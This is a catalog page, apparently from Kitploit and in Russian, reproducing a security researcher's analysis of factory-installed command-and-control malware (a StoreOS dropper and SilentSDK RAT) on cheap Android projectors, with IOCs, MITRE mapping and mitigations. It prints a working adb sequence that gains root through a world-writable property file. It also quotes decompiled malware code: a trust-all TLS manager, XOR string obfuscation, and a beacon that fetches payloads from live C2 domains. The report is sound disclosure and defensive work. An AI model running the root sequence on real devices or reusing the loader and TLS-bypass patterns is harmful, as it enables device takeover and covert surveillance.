Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Android-Projector-C2-Malware — Разбор C2-сети китайских beamers — SilentSDK-Analysis | Kitploit
Инструменты/GitHubGitHub/kavan00/android-projector-c2-malware
Безопасность AndroidБезопасность встроенных системУправление индикаторами компрометации (IOC)Безопасность IoTСетевая криминалистикаОбратная инженерияАнализ вредоносных программЦифровая криминалистикаКомандование и Управление

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Разведка угроз
Безопасность Цепочки Поставок
Анализ Прошивок
GitHubkavan00/android-projector-c2-malware

Android-Projector-C2-Malware

Разбор C2-сети китайских beamers — SilentSDK-Analysis

Репозиторий
1824 месяцев назадЕщё не проверено
Поделиться

Предустановленная C2-инфраструктура и RAT-нагрузка на Android-проекторах

Технический отчет — Исследование безопасности


Затронутые устройства: Множество Android-проекторов брендов, таких как Nonete (например, модель HY260Pro) (вероятно, также несколько проекторов от Magcubic, Hotack, Huyukang и многих других, так как эти компании распространяют похожие модели, и есть подтверждающие признаки)
Платформа чипсета: Allwinner H713 / sun50iw12p1 — потенциально затрагивает все устройства на этой платформе
Период анализа: 11–17 апреля 2026 г.
Классификация: Предустановленная Command-and-Control инфраструктура с нагрузкой Remote Access Trojan


TL;DR

  • Проблема: Многочисленные дешевые Android-проекторы (возможно, бренды Magcubic, Hotack и др., использующие чип Allwinner H713), в настоящее время массово продаваемые на Amazon, eBay и AliExpress, заражены вредоносным ПО прямо с завода (Supply Chain Attack, аналогично случаям «BADBOX»).
  • Механизм: Безобидное на вид системное приложение («StoreOS») выступает в роли замаскированного дроппера. Оно полностью незаметно загружает Stage-2-дроппер с именем «SilentSDK» в фоне и устанавливает его с максимальными системными привилегиями, который, в свою очередь, устанавливает модульный, плагинный, архитектурно-осведомленный RAT и, возможно, фишинговый фреймворк.
  • Опасность: Вредоносное ПО устанавливает C2-соединение с Китаем (api.pixelpioneerss.com), извлекает конфиденциальные идентификаторы устройств и может в любой момент загружать и выполнять любой дополнительный вредоносный код с привилегиями root (chmod 777). Кроме того, на устройствах присутствуют открытые бэкдоры root.
  • Немедленные меры: C2-домены (особенно *.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) должны быть заблокированы на сетевом уровне. Пострадавшие пользователи могут только отключить вредоносные приложения вручную через ADB, поскольку они глубоко встроены в систему.

Уведомление о срочности

Вредоносная инфраструктура, описанная в этом отчете, предустановлена на Android-проекторах, которые в настоящее время продаются в больших количествах конечным потребителям на Amazon, eBay и AliExpress. Затронутые устройства могут относиться к нескольким брендам (Hotack, Huyukang, Magcubic, Nonete и др.). Идентичная C2-инфраструктура независимо подтверждена на других устройствах того же производителя (см. раздел 13). Характер совпадает с случаями BADBOX.


Содержание

  1. Идентификация устройства
  2. Рабочий процесс исследования
  3. Root-доступ — путь эксплуатации
  4. Ответ C2-сервера — ключевое доказательство
  5. Обзор экосистемы вредоносного ПО
  6. StoreOS — анализ дроппера (com.htc.storeos)
  7. EventUploadService — телеметрия (com.htc.eventuploadservice)
  8. ExpandSDK — инъекция рекламы (com.htc.expandsdk)
  9. SilentSDK — анализ Stage-2-дроппера (com.hotack.silentsdk)
  10. Вредоносное ПО
  11. Системные бэкдоры
  12. Сетевая криминалистика
  13. Подмена устройства (подмена Build Fingerprint)
  14. Внешнее подтверждение
  15. Индикаторы компрометации (IOCs)
  16. Сопоставление с MITRE ATT&CK
  17. Немедленные меры смягчения
  18. Источники

Приобретенное устройство: Ссылка на Amazon - Nonete Mini Beamer 4K 1080P


1. Идентификация устройства

Примечание о масштабе: Чипсет Allwinner H713 встроен во множество дешевых Android-проекторов, продаваемых под сменяющимися брендами на европейском рынке. Идентичная база прошивки (h713_tuna_p3) и идентичный C2-оператор (Shenzhen Aodin Technology) убедительно свидетельствуют о том, что все устройства этого OEM-производителя содержат одну и ту же инфраструктуру.


2. Рабочий процесс исследования


3. Root-доступ — путь эксплуатации

Root-доступ был получен через комбинацию трех уязвимостей:

  1. SELinux Permissive — Нарушения доступа только логируются, не блокируются.
  2. Раздел /oem доступен для записи всем — Раздел смонтирован как FAT с fmask=0000.
  3. customer.prop загружается при загрузке — Перезаписывает системные свойства.```bash adb shell getenforce # Result: Permissive adb shell ls -la /oem/ # All files world-writable

adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root adb shell id

uid=0(root) gid=0(root) context=u:r:su:s0

root@kitploit:~
**Воздействие:** Любой пользователь, имеющий физический доступ, или злоумышленник в той же сети (через ADB, порт 5555 открыт, без аутентификации) получает полный root-доступ.

---

## 4. Ответ C2-сервера — Основные доказательства

### Захваченный HTTP-запрос```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

Ответ сервера (Декодировано из pcapng - Таблица)

Сжатый gzip ответ содержит JSON список из семи приложений. Шесть из них — обычные стриминговые приложения (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). Седьмое — SilentTools:

Подробная конфигурация SilentTools```json

{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }

root@kitploit:~
**Интерпретация флагов:**

- `isShow: false` — Приложение не отображается в интерфейсе магазина.
- `isForce: true` — Предположительно принуждает к действию (установка или обновление).
- `isSilentUninstall: true` — Может удалить себя без взаимодействия с пользователем.
- `launchType: 1` — Автоматически запускает фоновый сервис.
- `launchParam: MyService` — Ссылка на постоянный сервис.
- `zone: "Global"` — Нацелено на все устройства по всему миру.
- `reverseLen` — Длина байтов, необходимая для восстановления `.apk` SilentSDK.

### Зашифрованный путь загрузки

Поле `path` зашифровано с помощью AES-CBC:

- **Ключ/IV:** `[REDACTED]` (AES-CBC, Raw) -> ChannelID устройства.
- **Результат расшифровки:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

Примечание: Расширение файла .bpp, вероятно, используется для обхода брандмауэров, при этом файл переименовывается в .apk во время выполнения. Поле isSilentInstall имеет значение false в этом захвате. Точная семантика isForce: true не может быть однозначно восстановлена из декомпилированного кода. Нельзя исключать, что значение динамически устанавливается в true на стороне сервера.


5. Обзор экосистемы вредоносного ПО```text

root@kitploit:~
                    ┌──────────────┐
                    │  DEVICE BOOT │
                    └──────┬───────┘
          ┌────────────────┼────────────────┐
          ▼                ▼                ▼
   ┌─────────────┐  ┌─────────────┐  ┌──────────────┐
   │   StoreOS   │  │  SilentSDK  │  │  EventUpload │
   │   DROPPER   │  │     RAT     │  │  HEARTBEAT   │
   └──────┬──────┘  └──────┬──────┘  └──────┬───────┘
          ▼                ▼                ▼
     store-api.        api.pixel         event-api.
    aodintech.com    pioneerss.com     aodintech.com

   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com
root@kitploit:~
---

## 6. StoreOS — Анализ дроппера

StoreOS, по-видимому, представляет собой магазин приложений, который устанавливается автоматически, однако выполняет функцию дроппера.  
**Пакет:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### Разрешения

| Разрешение | Воздействие |
|:---|:---|
| `INSTALL_PACKAGES` | Тихая установка без диалога с пользователем |
| `CLEAR_APP_USER_DATA` | Удаление произвольных данных приложения |
| `MASTER_CLEAR` | Инициирование сброса до заводских настроек |
| `WRITE_SECURE_SETTINGS` | Изменение параметров безопасности |
| `DEVICE_POWER` | Управление питанием устройства |
| `MANAGE_EXTERNAL_STORAGE` | Полный доступ к внешнему хранилищу |

### Цепочка установки (из декомпилированного кода)

1. **BootReceiver** запускает `CheckUpdateService`.
2. HTTP POST на `store-api.aodintech.com/sign/app/list`.
3. Сервер возвращает `AppsData[]`, содержащий поля: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` загружает APK в виде файлов `.bpp` с CDN.
5. **Защита посредством реверсирования байтов:** Первые `reverseLen` байт реверсируются перед записью на диск (антианалитическая мера).
6. Проверка MD5 загруженного файла.
7. Установка через `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` запускает установленное приложение в соответствии с `launchParam`.

### Механизм реверсирования байтов — Техническое доказательство

**Класс:** `AbstractC2057b` — **Метод:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

Этот метод реверсирует первые `reverseLen` байт каждого загруженного APK. В результате перехваченные файлы `.bpp` невозможно распознать или извлечь как корректные APK без знания конкретного значения `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

Вызов в пути загрузки (Class RunnableC1595d, case 0):```java if (downInfo.getReverseLen() != 0) { String outputPath = inputPath.replace(".apk", "des.apk"); if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) { // Error handling return; } downInfo.setFileSavePath(outputPath); } // Followed by MD5 verification and installation

root@kitploit:~
Благодаря обратному инжинирингу этого механизма, APK SilentSDK был успешно декодирован и проанализирован.

### Геотаргетинг

StoreOS использует `api.ipdatacloud.com/v2/query` для IP-геолокации. Класс `SpecialApps` содержит поля `continent` и `countryCode`, что позволяет распространять полезную нагрузку с учетом региона.

---

## 7. EventUploadService — Телеметрия

**Пакет:** `com.htc.eventuploadservice`  
**Цель:** `http://event-api.aodintech.com/report`  
**Интервал:** Каждые 5 минут  

| Поле | Пример значения | Влияние на конфиденциальность |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MAC-адрес (PII) |
| `deviceSn` | `[REDACTED]` | Серийный номер (Уникальный) |
| `channel` | `HY260Pro_hy_TPYB` | Канал прошивки |
| `version` | `Projector.20250422.152235` | Версия прошивки |
| `model` | `NT10` | Модель устройства |
| `language` | `en_US` | Языковая настройка |

Передача происходит в незашифрованном виде по HTTP и без согласия пользователя. MAC-адрес и серийный номер позволяют точно идентифицировать и отслеживать отдельные устройства.

---

## 8. ExpandSDK — Внедрение рекламы

**Пакет:** `com.htc.expandsdk`  
**C2-серверы:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

ExpandSDK использует TCL VastAd SDK для VAST-видеорекламы и способен отображать системные диалоговые окна (`SYSTEM_ALERT_WINDOW`) в любом положении на экране. Конфигурация включает поля позиционирования (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) и идентификатор партнёра `htk` (Hotack).

ExpandSDK работает независимо от SilentSDK как отдельный канал монетизации.


---

## 9. SilentSDK — Анализ RAT

**Пакет:** `com.hotack.silentsdk`  
**SHA-256 (расшифрованный):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (расшифрованный):** `5df097591d6942bae4eff33a37c4e28f`

### Анализ манифеста

| Свойство | Значение | Смысл |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Системные привилегии (UID 1000) |
| `usesCleartextTraffic` | `true` | Разрешен HTTP-трафик |
| Значок в меню приложений | Не видим пользователю | Скрыт из интерфейса пользователя |
| `BootReceiver` | Приоритет 999 | Запускается раньше почти всех других приложений |
| `MyService` | экспортируемый, передний план | Постоянная фоновая служба |
| `BootStartActivity` | `com.htc.bootstart` | Дополнительный триггер загрузки |

### Упаковка и дешифрование DEX

Исходный DEX упакован: заголовок объявляет 2 318 316 байт, но сжатый файл содержит только 65 536 байт с неверной контрольной суммой Adler32. После взлома защиты StoreOS с обращением байтов DEX становится полностью читаемым — размер файла и заявленный размер совпадают, и можно извлечь 16 241 строку.

### XOR-обфускация — Техническое доказательство

Все строки, связанные с безопасностью, обфусцированы с помощью вращающегося XOR-шифра в методе `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

Расшифрованные строки

Это лишь часть расшифрованных строк. Поток сбора MAC-адресов выявляет преднамеренный обход разрешений: когда WifiInfo.getMacAddress() возвращает защищённый конфиденциальностью фиктивный MAC-адрес Android (02:00:00:00:00:00), вредоносное ПО переходит к чтению реального аппаратного MAC напрямую из /sys/class/net/wlan0/address через root-оболочку — поведение, никогда не встречающееся в легитимных приложениях.

Жизненный цикл заражения — Этап за этапом

Следующий анализ прослеживает полную цепочку выполнения от запуска приложения до постоянного управления через C2. Имена классов ссылаются на идентификаторы после деобфускации в JADX.

Этап 1: Инициализация и закрепление

MyApplication.java — Точка входа

Переопределение Application.onCreate() — первый исполняемый код. Оно немедленно вызывает C0561f.m1737c с ApplicationContext, запуская всю инфраструктуру вредоносного ПО до отображения какого-либо интерфейса.

AbstractC0577v.java — Контекст

Если хост-приложение добровольно не предоставляет свой контекст, этот класс использует глубокое системное отражение (android.app.ActivityThread) для самостоятельного получения глобального ApplicationContext. Это предоставляет SDK полный доступ к файлам, системным службам и управлению пакетами без зависимости от хост-приложения.

C0578w.java — Наблюдатель жизненного цикла Activity

Регистрируется как ActivityLifecycleCallbacks для мониторинга каждого взаимодействия пользователя: какой экран открыт, находится ли приложение на переднем или заднем плане. Критически важно, что он повторно включает отключённые системные анимации и управляет настройками SoftInputMode — обязательные условия для отображения невидимых наложений (например, для мошенничества с кликами) без предупреждения пользователя через неожиданные всплывающие окна клавиатуры.

Этап 2: Снятие отпечатка и скрытность

AbstractC0562g.java — Генерация Bot-ID

Генерирует агрессивный отпечаток устройства, объединяя: случайный UUID + Build.BRAND + Build.MODEL + физический MAC-адрес (собранный через cat /sys/class/net/wlan0/address, в обход защит конфиденциальности Android) + android_id + временная метка. Полученная строка хешируется MD5 и сохраняется как adid — постоянный Bot-ID, используемый для регистрации устройства на C2-сервере.

C0565j.java — Обход SSL-сертификата

Манипулированный X509TrustManager с полностью пустыми методами проверки (checkClientTrusted, checkServerTrusted). Это гарантирует, что вредоносное ПО слепо принимает любой SSL-сертификат, предотвращая блокировку C2-связи механизмами безопасности Android — даже если C2-сервер скомпрометирован или использует недействительный сертификат.```java // From AbstractC0000a.m41j() — TrustManager accepts ALL certificates TrustManager[] trustManagerArr = {new C0565j()}; SSLContext sslContext = SSLContext.getInstance("SSL"); sslContext.init(null, trustManagerArr, new SecureRandom()); ((HttpsURLConnection) conn).setSSLSocketFactory( sslContext.getSocketFactory() );

root@kitploit:~
Если возникает ошибка SSL (`SSLException`), `f2664e` устанавливается в `false`, и все последующие запросы используют HTTP вместо HTTPS.




#### Фаза 3: Получение полезной нагрузки
 
**`C0566k.java` — Автономное резервирование (встроенная полезная нагрузка)**
 
Перед обращением к сети этот класс проверяет, встроена ли полезная нагрузка в APK по пути `assets/m17gawxG.java`. Если найдена, он читает файл побайтово и расшифровывает его с помощью жёстко заданного XOR-ключа (`m17gawxG`). Результат записывается как исполняемый файл `.temp`. Это гарантирует, что RAT может активироваться даже на изолированных устройствах или когда сервер C2 недоступен.
 
**`RunnableC0569n.java` — Загрузчик с C2 в реальном времени**
 
Если автономное резервирование не срабатывает, этот класс собирает JSON-маяк, содержащий Bot-ID, имя пакета и версию Android, а затем связывается с конечной точкой C2 `api.pixelpioneerss.com`:
 
**Шаг 1 — Генерация URL со случайным путём:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

Шаг 2 — Полезная нагрузка маяка:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version

root@kitploit:~
**Шаг 3 — AES-шифрование и передача:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

Шаг 4 — Обработка ответа сервера:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes

root@kitploit:~
Загрузчик (`AbstractC0000a.m37h`) получает полезную нагрузку, а затем с помощью рутовой оболочки предоставляет ей полные права на выполнение через `chmod 777`.
 
Все C2-запросы содержат пользовательский HTTP-заголовок `a: 1003` — сетевой признак данного семейства вредоносного ПО.



#### Фаза 4: Выполнение и управление
 
**`AbstractC0568m.java` — Промежуточная область**
 
Создает скрытый каталог с именем **`TMRXwWJu3G5`** в файловой системе устройства, где размещаются все загруженные полезные нагрузки. Этот класс также содержит методы (`m1754e`), перехватывающие физические нажатия клавиш (`KeyEvent`), не позволяя пользователю нажать кнопку «Назад», пока активен вредоносный оверлей.
 
**`C0561f.java` — Оркестратор**
 
Связывает всю цепочку воедино. Он вызывает сильно обфусцированный код в `C0566k.m1746b`, который с помощью рефлексии формирует строку `"dalvik.system.DexClassLoader"` и инициализирует её. Затем ClassLoader принудительно загружает и выполняет финальный класс полезной нагрузки:```
com.me.cash5.OoO0OOo

Начиная с этого момента, динамически загруженная полезная нагрузка получает полный контроль в контексте процесса приложения (UID 1000 / System).

Фаза 5: Телеметрия, Exfiltration и Персистентность

AbstractC0563h.java & C0558c.java — Сбор телеметрии

Каждая загрузка модуля, событие ошибки (например, сбой загрузки) или отображение наложения инициирует отправку отчета о состоянии (закодированного как "e6", "e4" для ошибок SSL и т.д.). C0558c запускает выделенный поток сбора ("burying_loop_s"), который агрегирует эти события. Каждые 5 секунд он собирает полный JSON-пакет телеметрии с полями, такими как "d" (модель устройства), "e" (версия SDK), "c" (Android ID).

RunnableC0564i.java — Экспортер данных

Принимает JSON телеметрии, сжимает его с помощью GZIPOutputStream (чтобы затруднить анализ трафика), затем шифрует с помощью пользовательского AES — добавляя динамические ключи к шифротексту. Результирующий GZIP-AES пакет передается через TrustManager, обходящий SSL, на выделенный сервер отслеживания:``` bur.thedynamicleap.com

root@kitploit:~
Это **отдельный C2-домен** от основного `api.pixelpioneerss.com`, используемый исключительно для эксфильтрации телеметрии.
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat и самовосстановление**
 
Механизм персистентности. `AbstractC0572q` поддерживает таймер в основном потоке. Если какая-либо часть цепочки заражения завершается неудачей (например, отсутствие интернета во время загрузки), он вызывает `sendEmptyMessageDelayed(..., 60000L)`. Ровно через 60 секунд `RunnableC0560e` (как фоновый рабочий процесс) перезапускает весь механизм заражения с самого начала. Этот цикл повторяется бесконечно, пока заражение не будет успешным.
 
### Персистентность и динамическая загрузка — Резюме
 
Метод `m1762a()` в `RunnableC0569n` реализует полный цикл загрузки полезной нагрузки:
 
1. Загрузить DEX-файл с C2.
2. Проверить MD5-хэш.
3. Сохранить номер версии в SharedPreferences.
4. Загрузить и выполнить DEX через `DexClassLoader` или `Runtime.exec()`.
5. При ошибках: увеличить счетчик повторных попыток в SharedPreferences, пауза после 13 неудачных попыток — затем 60-секундный heartbeat перезапускает цикл.

 
## 9.1. Полезная нагрузка вредоносного ПО

После отправки этого запроса на C2-сервер:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

Ответ:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }

root@kitploit:~
---
## 10. Вредоносное ПО

После успешного извлечения и дальнейшего анализа вредоносной нагрузки, я определил — обойдя значительные уровни пользовательского шифрования и обфускации, — что вредоносное ПО использует высокомодульную архитектуру. Оно функционирует как сложный фреймворк, способный динамически загружать, обновлять, перезапускать и активно удалять плагины для уничтожения криминалистических доказательств. Эти нагрузки выполняются с правами root. Кроме того, код раскрывает механизмы, предназначенные для наложения полных WebView на экран, что сильно указывает на продвинутые фишинговые возможности. Вредоносное ПО также демонстрирует продвинутые тактики нацеливания и уклонения: оно реализует строгое геозонирование для атак на конкретные регионы, профилирует архитектуру ЦП (различая `arm64`, `armeabi`, `x86` и `mips`) и активно обходит проверку SSL-сертификатов для защиты своих C2-коммуникаций. Я намеренно оставляю это резюме кратким на данный момент, так как сильная обфускация требует длительного и текущего процесса обратной разработки.

## 11. Системные бэкдоры

### 11.1 Скрытый бинарник `su`: `/system/bin/qw`

Бинарник `su`, переименованный в `qw` (Koushikdutta Superuser, 388 КБ, статически слинкован, ARM 32-bit):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core
  • Process: PID 2409, UID 0 (root)
  • Сокет: /dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)
  • TCP-порт: 65528 (UID 0)

11.2 Тестовый ключ AOSP в качестве ключа подписи платформы

Сертификат подписи платформы — это тестовый ключ, публично включённый в исходный код AOSP (Cert Index 0 в packages.xml). Любое приложение, подписанное этим ключом, автоматически получает системные привилегии на устройстве. Ключ свободно доступен любому разработчику Android.

11.3 Дополнительные открытые сервисы

10.4 dbgserver

/vendor/bin/dbgserver — Сервер ввода-вывода аппаратных регистров, осуществляющий связь через общедоступное для записи устройство /dev/hidtvreg (crwxrwxrwx).


12. Сетевая криминалистика

Вся связь с C2 происходит по незашифрованному HTTP. Это позволяет проводить MITM-атаки (человек посередине): злоумышленник в той же сети может манипулировать списком приложений и внедрять произвольные APK, которые затем будут установлены с системными привилегиями.


13. Подмена устройства

Устройство маскируется под Google ADT-3 (Android TV Developer Kit):

Свойство

Предположительно, эта подмена предназначена для обхода проверок сертификации Google Play.


14. Внешнее подтверждение

Независимый анализ

В январе 2026 года исследователь безопасности Зейн Сент-Джон опубликовал анализ идентичных устройств, содержащих точно такую же инфраструктуру вредоносного ПО. Результаты совпадают по всем ключевым моментам: конечные точки C2, XOR-обфускация, протокол AES-128-CBC, ID кампании f101, обход SSL и chmod 777. Устройство, проанализированное Зейном Сент-Джоном, по-видимому, уже было заражено SilentSDK, чего не было на моём устройстве «из коробки». Конечные точки в анализе Зейна также слегка изменены, что указывает на возможность ротации конечных точек. Кроме того, в его случае SilentSDK, похоже, был предустановлен, тогда как на моём устройстве он загружается и устанавливается после того, как aodintech отправляет сигнал триггера.

Source: https://zanestjohn.com/blog/reing-with-claude-code

Проверка хешей по трём независимым источникам

ИсточникMD5

Хеши из дистрибутива сервера C2, нашего собственного дешифрования и внешнего анализа идентичны — это подтверждает, что это одно и то же вредоносное ПО. Это подтверждает широкое распространение вредоносного ПО.

VirusTotal

StoreOS-APK: BitDefender обнаруживает Android.Riskware.TestKey.rB; никакие другие антивирусные движки не выдают предупреждений.


15. Индикаторы компрометации (IOCs)

Домены```text

api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server

root@kitploit:~
### Сетевые сигнатуры```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

Пакеты и хеши```text

com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk

root@kitploit:~
### Файловая система```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

Артефакты, специфичные для SilentSDK```text

assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload

root@kitploit:~
---

## 16. Карта MITRE ATT&CK

| Техника | ID | Подтверждение |
|:---|:---|:---|
| Компрометация цепочки поставок | T1195.002 | Вредоносная фабрика предустановлена |
| Автозапуск при загрузке или входе в систему | T1547 | BootReceiver Priority 999 |
| Обфусцированные файлы или информация | T1027 | XOR-строки, упаковка DEX, встроенный XOR-зашифрованный ресурс |
| Протокол прикладного уровня | T1071 | HTTP/HTTPS C2 |
| Динамический обмен данными / внедрение полезной нагрузки | T1055 | DexClassLoader, chmod 777 |
| Сбор информации о системе | T1082 | Снятие отпечатков устройства, генерация Bot-ID |
| Данные из локальной системы | T1005 | MAC, Serial, IMEI, android_id |
| Экфильтрация по каналу C2 | T1041 | Периодическая телеметрия на `bur.thedynamicleap.com` |
| Маскировка | T1036 | Расширение файла .bpp, спуфинг ADT-3 |
| Руткит | T1014 | Скрытый бинарный файл su |
| Перехват ввода | T1056 | Перехват KeyEvent для подавления кнопки «Назад» |
| Удаление индикаторов / самоудаление | T1070 | Возможность `isSilentUninstall: true` |
| Рефлексивная загрузка кода | T1620 | Рефлексивное создание экземпляра DexClassLoader |
| Наложение системных окон | T1624 | Манипуляция SoftInputMode для невидимых наложений |

---

## 17. Немедленные меры смягчения

### Для пострадавших конечных пользователей```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

Блокировка на уровне сети```text

DNS blocking or firewall rules for:

store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com

root@kitploit:~
---

## 18. Источники

1. Zane St. John: «Обратная разработка предустановленного вредоносного ПО для Android с помощью Claude Code», январь 2026 г. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: «BSI предупреждает о предустановленном вредоносном ПО на устройствах IoT» (BADBOX), октябрь 2023 г.
3. Анализ VirusTotal APK-файла StoreOS.

---

**Период анализа:** 11–17 апреля 2026 г.

**Отказ от ответственности**
Только для образовательных и исследовательских целей. Этот отчет предоставляется «как есть» в информационных целях относительно угроз кибербезопасности. Анализ основан на снимке текущей экосистемы вредоносного ПО; поскольку обратная разработка является непрерывным процессом, результаты могут быть изменены по мере поступления новых данных.

Этот отчет составлен добросовестно и на основе имеющейся информации, исходя из анализа бинарных данных и декомпилированного исходного кода. Из-за высокого уровня обфускации и развивающейся природы угрозы эти выводы представляют собой текущее состояние исследований. Хотя доказательства убедительно подтверждают сделанные выводы, они могут быть уточнены по мере обнаружения дополнительных технических данных.
Скачать инструмент
СвойствоЗначение
БрендNonete HY260Pro (модель, продаваемая несколькими компаниями)
Внутреннее имя моделиNT10
